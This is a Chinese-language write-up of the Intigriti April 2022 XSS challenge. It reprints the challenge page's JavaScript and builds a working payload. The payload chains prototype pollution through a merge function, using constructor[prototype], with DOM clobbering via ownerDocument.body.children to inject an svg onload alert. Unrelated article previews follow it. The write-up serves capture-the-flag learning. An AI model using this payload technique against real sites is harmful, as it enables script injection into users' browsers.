一道xss题目--intigriti-0422-XSS-Challenge-Write-up

目录

进入挑战

 js代码

代码分析

构造payload

​编辑

结果


进入挑战

Intigriti April Challenge题目地址

打开题目后,找到对应页面的js代码,寻找一下我们用户可控的点

 js代码

<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"><meta charset="utf-8"><meta name="robots" content="noindex"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; script-src 'self' 'unsafe-inline';"><title>Window Maker</title><!-- downloaded from https://unpkg.com/xp.css@0.3.0/dist/XP.css --><link rel="stylesheet" href="Window%20Maker_files/XP.css"><style>body {margin: 0;padding: 0;background-image: url("bg.jpg");background-position: center;background-repeat: no-repeat;font-size: 18px;min-height: 100vh;}main {max-width: 750px;margin: 100px auto;}.window-body {margin: 16px;font-size: 14px;}label {font-size: 13px;}@media (min-height: 980px), (min-width: 1900px) {body {background-size: 100% 100%;}}</style>
</head><body><!-- downloaded from https://unpkg.com/mithril@2.0.4/mithril.js --><script src="Window%20Maker_files/mithril.js"></script><script>(function(){const App = {view: function() {return m("div", {class: "window"}, [m(TitleBar),m(WindowBody),m(StatusBar)])}}const TitleBar = {view: function(vnode) {const options = vnode.attrs.options || ['min', 'max', 'close']const name = vnode.attrs.name || "Window Maker"return m("div", {class: "title-bar"}, [m("div", {class: "title-bar-text"}, String(name)),m("div", {class: "title-bar-controls"}, [options.includes('min') && m("button", {'aria-label': 'Minimize'}),options.includes('max') && m("button", {'aria-label': 'Maximize'}),options.includes('close') && m("button", {'aria-label': 'Close'}),]),])}}const WindowBody = {view: function() {return m("div", {class: "window-body"}, [m("p", ["Do you miss these looks and feels? We can help!",m("br"),"Window Maker is a website to help people build their own UI in 3 minutes!"]),m("p", [m(InputWindowName),m(InputWindowContent),m("br"),m(InputToolbar),m("br"),m(InputStatusBar)]),m("button", {onclick: function() {const windowName = document.querySelector('#win-name').valueconst windowContent = document.querySelector('#win-content').valueconst toolbar = Array.from(document.querySelectorAll('input[type=checkbox]:checked')).map(item => item.value)const showStatus = document.querySelector('#radio-yes').checkedconst config = {'window-name': windowName,'window-content': windowContent,'window-toolbar': toolbar,'window-statusbar': showStatus}const qs = m.buildQueryString({config})window.location.search = '?' + qs}}, "generate")])}} const InputWindowName = {view: function(vnode) {return m("div", {class: "field-row-stacked"}, [m("label", {for: 'win-name' }, 'Window name'),m("input", {id: 'win-name', type: 'text' }),])}}const InputWindowContent = {view: function(vnode) {return m("div", {class: "field-row-stacked"}, [m("label", {for: 'win-content' }, 'Window content(plaintext only)'),m("textarea", {id: 'win-content', rows: '8' }),])}}const InputToolbar = {view: function(vnode) {return m("div", [m("div", {class: "field-row"}, [m("label", "Toolbar"),]),m(Checkbox, { id: "toolbar-min", value: "min" }),m(Checkbox, { id: "toolbar-max", value: "max" }),m(Checkbox, { id: "toolbar-close", value: "close" }),])}}const Checkbox = {view: function(vnode) {return m("div", {class: "field-row"}, [m("input", {id: String(vnode.attrs.id), type: 'checkbox', value: String(vnode.attrs.value) }),m("label", {for: String(vnode.attrs.id) }, String(vnode.attrs.value)),])}}const InputStatusBar = {view: function() {return m("div", [m("div", {class: "field-row"}, [m("label", "Status bar"),]),m(RadioButton, { id: "radio-yes", value: "Yes" }),m(RadioButton, { id: "radio-no", value: "No" }),])}}const RadioButton = {view: function(vnode) {return m("div", {class: "field-row"}, [m("input", {id: String(vnode.attrs.id), type: 'radio', name: 'status-radio' }),m("label", {for: String(vnode.attrs.id) }, String(vnode.attrs.value)),])}}const StatusBar = {view: function() {return m("div", {class: "status-bar"}, [m("p", {class: "status-bar-field"}, "Press F1 for help"),m("p", {class: "status-bar-field"}, "Powered by XP.css and Mithril.js"),m("p", {class: "status-bar-field"}, "CPU Usage: 32%"),])}}const CustomizedApp = {view: function(vnode) {return m("div", {class: "window"}, [m(TitleBar, {name: vnode.attrs.name, options: vnode.attrs.options}),m("div", {class: "window-body"},[String(vnode.attrs.content)]),vnode.attrs.status && m(StatusBar)])}}function main() {const qs = m.parseQueryString(location.search)let appConfig = Object.create(null)appConfig["version"] = 1337appConfig["mode"] = "production"appConfig["window-name"] = "Window"appConfig["window-content"] = "default content"appConfig["window-toolbar"] = ["close"]appConfig["window-statusbar"] = falseappConfig["customMode"] = falseif (qs.config) {merge(appConfig, qs.config)appConfig["customMode"] = true}let devSettings = Object.create(null)devSettings["root"] = document.createElement('main')devSettings["isDebug"] = falsedevSettings["location"] = 'challenge-0422.intigriti.io'devSettings["isTestHostOrPort"] = falseif (checkHost()) {devSettings["isTestHostOrPort"] = truemerge(devSettings, qs.settings)}if (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {console.log('appConfig', appConfig)console.log('devSettings', devSettings)}if (!appConfig["customMode"]) {m.mount(devSettings.root, App)} else {m.mount(devSettings.root, {view: function() {return m(CustomizedApp, {name: appConfig["window-name"],content: appConfig["window-content"] ,options: appConfig["window-toolbar"],status: appConfig["window-statusbar"]})}})}document.body.appendChild(devSettings.root)}function checkHost() {const temp = location.host.split(':')const hostname = temp[0]const port = Number(temp[1]) || 443return hostname === 'localhost' || port === 8080}function isPrimitive(n) {return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'}function merge(target, source) {let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]for(let key in source) {if (protectedKeys.includes(key)) continueif (isPrimitive(target[key])) {target[key] = sanitize(source[key])} else {merge(target[key], source[key])}}}function sanitize(data) {if (typeof data !== 'string') return datareturn data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')}main()})()</script></body></html>

代码分析

在这里你输入什么接的就是什么,比如输入的是config然后接的就是qs.config,所以我们用户可控的点在这里

然后由于有merge所以我们就可以尝试控制appconfig这个变量,然后可以尝试原型链污染了。当然后也有别的merge,如下图,这里有qs.settings这个属性然后就可以尝试控制decSettings,但是我们的注入点在那个上面呢,不急接着往下看

再往下看一下,这里有一个关于decSettings的插入节点,在这里我们可以尝试进行dom破坏

然后我们想要触发document.body.appendChild(devSettings.root)的话就要进入这里

然后就要进入这里

构造payload

我们尝试构造一个原型对象原型对象有一个属性名为1的属性,然后temp[1]又是空,我们访问1的时候就可以取出1里面的内容。然后我们构造的时候需要满⾜对象类型为Array,且可被merge的参数,满⾜这样条件的只有

我们尝试构造下面代码,这里不用__proto__是因为被过滤掉了

appConfig["window-toolbar"][constructor][prototype]['1']=8080

现在我们进入了if (checkHost())我们接下来就可以尝试对settings进行修改,构造下面代码

settings[root][ownerDocument][body][children][1][outerHTML]
[1]=%3Csvg%20onload%3Dalert(1)%3E

setting为什么下面不直接覆盖root,是因为后面root会被main会被覆盖且后面有过滤,如下图

然后我们需要绕过一下。绕过的方法就看root了,root下面有很多方法,我们想办法找到decSetting.root上面的元素,如下面

然后找到ownerDocument

 然后找到body

然后找到]children[1]

然后找到这里[outerHTML][1]

一层一层往下取值最后插入这样在经过isprimitive时就会被判断是一个数组就不会进入isprimitive

结果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/52446.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[GKCTF 2021]excel 骚操作1

使用010editor打开发现zip头&#xff0c;改后缀名xlsx为zip&#xff0c;解压&#xff0c;在D:\python\flag (1)\xl\worksheets目录下有个sheet1.xml就是ecxel的sheet1的主要样式style 看到很多c r"B2" s"1&#xff0c;只是单元格数据不同而已 &#xff0c;还有的…

Awesome-LLMs-for-Video-Understanding - 基于大型语言模型的视频理解研究

Awesome-LLMs-for-Video-Understanding 是 基于大型语言模型的视频理解研究 github : https://github.com/yunlong10/Awesome-LLMs-for-Video-Understandingpaper&#xff1a;Video Understanding with Large Language Models: A Survey https://arxiv.org/pdf/2312.17432 视频…

C++20中的约束与概念

类模板、函数模板和非模板函数(通常是类模板的成员)可能与约束(constraint)相关联&#xff0c;该约束指定对模板参数的要求(requirements)&#xff0c;可用于选择最合适的函数重载和模板特化。约束是使用模板时需要通过模板参数满足的条件或要求。这些要求的命名集合称为概念(c…

Hadoop 分布式集群搭建

HDFS分布式集群搭建 一、部署规划1.1 进程规划1.2 软件规划1.3 用户规划1.4 目录规划 二、 搭建HDFS 分布式集群2.1 HDFS 集群配置2.1.1 下载安装 Hadoop2.1.2 修改 hadoop-env.sh 配置文件2.1.3 修改 core-site.xml 配置文件2.1.4 修改 hdfs-site.xml 配置文件2.1.5 修改 slav…

程序员:全栈的痛你不知道

上周一个同事直接对我开喷&#xff0c;骂我无能&#xff0c;说&#xff1a;“你怎么一个人就搞不定所有系统呢&#xff1f;”&#xff0c;我半支烟纵横IT江湖14余年&#xff0c;还是第一次被人这么嫌弃。 事情缘由 某公司的业务线特别多&#xff0c;有个业务线前后端项目共计…

ComfyUI IPAdapter plus的模型应该怎么装-免费版-2024.8.25

&#x1f386;背景 ipadapter相关的节点大家应该都不陌生&#xff0c;具体是做什么的就不详细介绍了&#xff0c;但是还是有很多新入门的朋友不太了解这个节点相关的这一堆模型到底应该怎么安装。这里就借着官方节点的介绍来大概讲下这个话题。 涉及到的节点源地址&#xff1…

【Qt】Qt系统 | Qt事件| 鼠标事件

文章目录 鼠标事件鼠标点击事件鼠标释放事件鼠标双击事件鼠标移动事件 滚轮事件 在 Qt 中&#xff0c;鼠标事件是用 QMouseEvent 实现的。当在窗口中按下鼠标或者移动鼠标时&#xff0c;都会产生鼠标事件 鼠标事件 鼠标点击事件 鼠标按下时通过 虚函数 mousePressEvent() 来…

线程安全是什么问题?如何引起?死锁是啥?如何解决?

目录 一、什么是线程不安全&#xff1f; 二、如何引起的线程安全&#xff1f;怎么解决&#xff1f; 1&#xff09;CPU调度执行是随机的&#xff0c;抢占式执行&#xff08;根本原因&#xff0c;硬件层面咱们无法干预&#xff09; 2&#xff09;多个线程&#xff0c;对同一变…

【Hot100】LeetCode—105. 从前序与中序遍历序列构造二叉树

目录 1- 思路递归 2- 实现⭐105. 从前序与中序遍历序列构造二叉树——题解思路 3- ACM 实现 原题连接&#xff1a;105. 从前序与中序遍历序列构造二叉树 1- 思路 递归 前序&#xff1a;中左右中序&#xff1a;左中右 让前序的第一个元素作为中序的分割点 分割思路 1- 递归…

做个实验

做个实验 #include <bits/stdc.h> using namespace std; #define int long long #define ll __int128_t #define ar array<int, 2> #define arr array<int, 3> int n, m, k, inf 1LL << 61, mod 998244353;// 1e97; const int N 5e5 50;void sol…

使用gitee存储项目

gitee地址&#xff1a;Gitee - 基于 Git 的代码托管和研发协作平台 创建gitee远程仓库 将远程仓库内容拉取到本地仓库 复制下面这个地址 通过小乌龟便捷推送拉取代码&#xff1a;https://blog.csdn.net/m0_65520060/article/details/140091437

基于51单片机的百叶窗proteus仿真

地址&#xff1a;https://pan.baidu.com/s/19M6jeTIHJcyDBGNx4H9nTA 提取码&#xff1a;1234 仿真图&#xff1a; 芯片/模块的特点&#xff1a; AT89C52/AT89C51简介&#xff1a; AT89C52/AT89C51是一款经典的8位单片机&#xff0c;是意法半导体&#xff08;STMicroelectron…

RabbitMQ的核心概念

RabbitMQ是一个消息中间件&#xff0c;也是一个生产者消费者模型&#xff0c;负责接收&#xff0c;存储和转发消息。 核心概念 Producer 生产者&#xff0c;是RabbitMQ Server的客户端&#xff0c;向RabbitMQ发送消息。 Consumer 消费者&#xff0c;是RabbitMQ Server的客…

快手怎么免费的去掉视频水印?分享这三个工具给你

​ 我们经常会遇到想要保存的视频带有水印&#xff0c;这不仅影响美观&#xff0c;也不利于分享。为了解决这个问题&#xff0c;我将分享三个免费去除视频水印的工具&#xff0c;帮助你轻松去除水印&#xff0c;享受无干扰的视频体验。 工具一&#xff1a;奈斯水印助手(小程序…

数码管进阶设计验证

前言 随着数字电路和嵌入式系统的广泛应用&#xff0c;数码管作为一种常见的显示设备&#xff0c;在各种电子产品中扮演着重要角色。数码管以其结构简单、显示清晰和成本低廉的特点&#xff0c;广泛应用于计数器、时钟、测量仪器等领域。然而&#xff0c;传统的数码管设计通常仅…

DBeaver安装使用

文章目录 简介支持的数据库支持的系统 下载安装DBeaver使用修改Maven下载jar地址窗口->首选项连接->驱动->Maven配置仓库地址 选择需要连接的数据库进行连接 简介 DBeaver 是一个通用的数据库管理工具和 SQL 客户端&#xff0c;支持 MySQL, PostgreSQL, Oracle, DB2,…

运维学习————nginx2-配置详解及负载均衡

目录 一、配置文件详解 1.1、结构 1.2、重要配置解释 1.3、详细配置 全局配置 Events HTTP 服务器配置 server虚拟主机配置 location URL匹配配置 1.4、完整配置 二、负载均衡 2.1、概念 2.2、集群规划及实现 2.3、具体实现 2.3.1、克隆 2.3.2、修改tomcat1配…

Python | Leetcode Python题解之第372题超级次方

题目&#xff1a; 题解&#xff1a; class Solution:def superPow(self, a: int, b: List[int]) -> int:MOD 1337ans 1for e in b:ans pow(ans, 10, MOD) * pow(a, e, MOD) % MODreturn ans

go+gin+vue入门

后端框架 1、安装go、goland 2、创建空项目 3、下载要用的包&#xff1a;命令行输入go get -u github.com/xxxx 4、安装mysql数据库&#xff0c;使用navicat创建数据库。 5、按照项目框架搭建目录、文件、代码&#xff1a;如router、model… 6、运行测试&#xff0c;go run ma…

云原生之全链路分布式跟踪系统 Zipkin和SkyWalking

贪多嚼不烂 Pinpoint 就不对比了 参考 APM系统简单对比(zipkin,pinpoint和skywalking) springcloud 看云 Zipkin和SkyWalking都是流行的分布式跟踪系统&#xff0c;但它们的设计和实现有明显的不同。 以下是它们之间的一些对比&#xff1a; 数据存储&#xff1a; Zipk…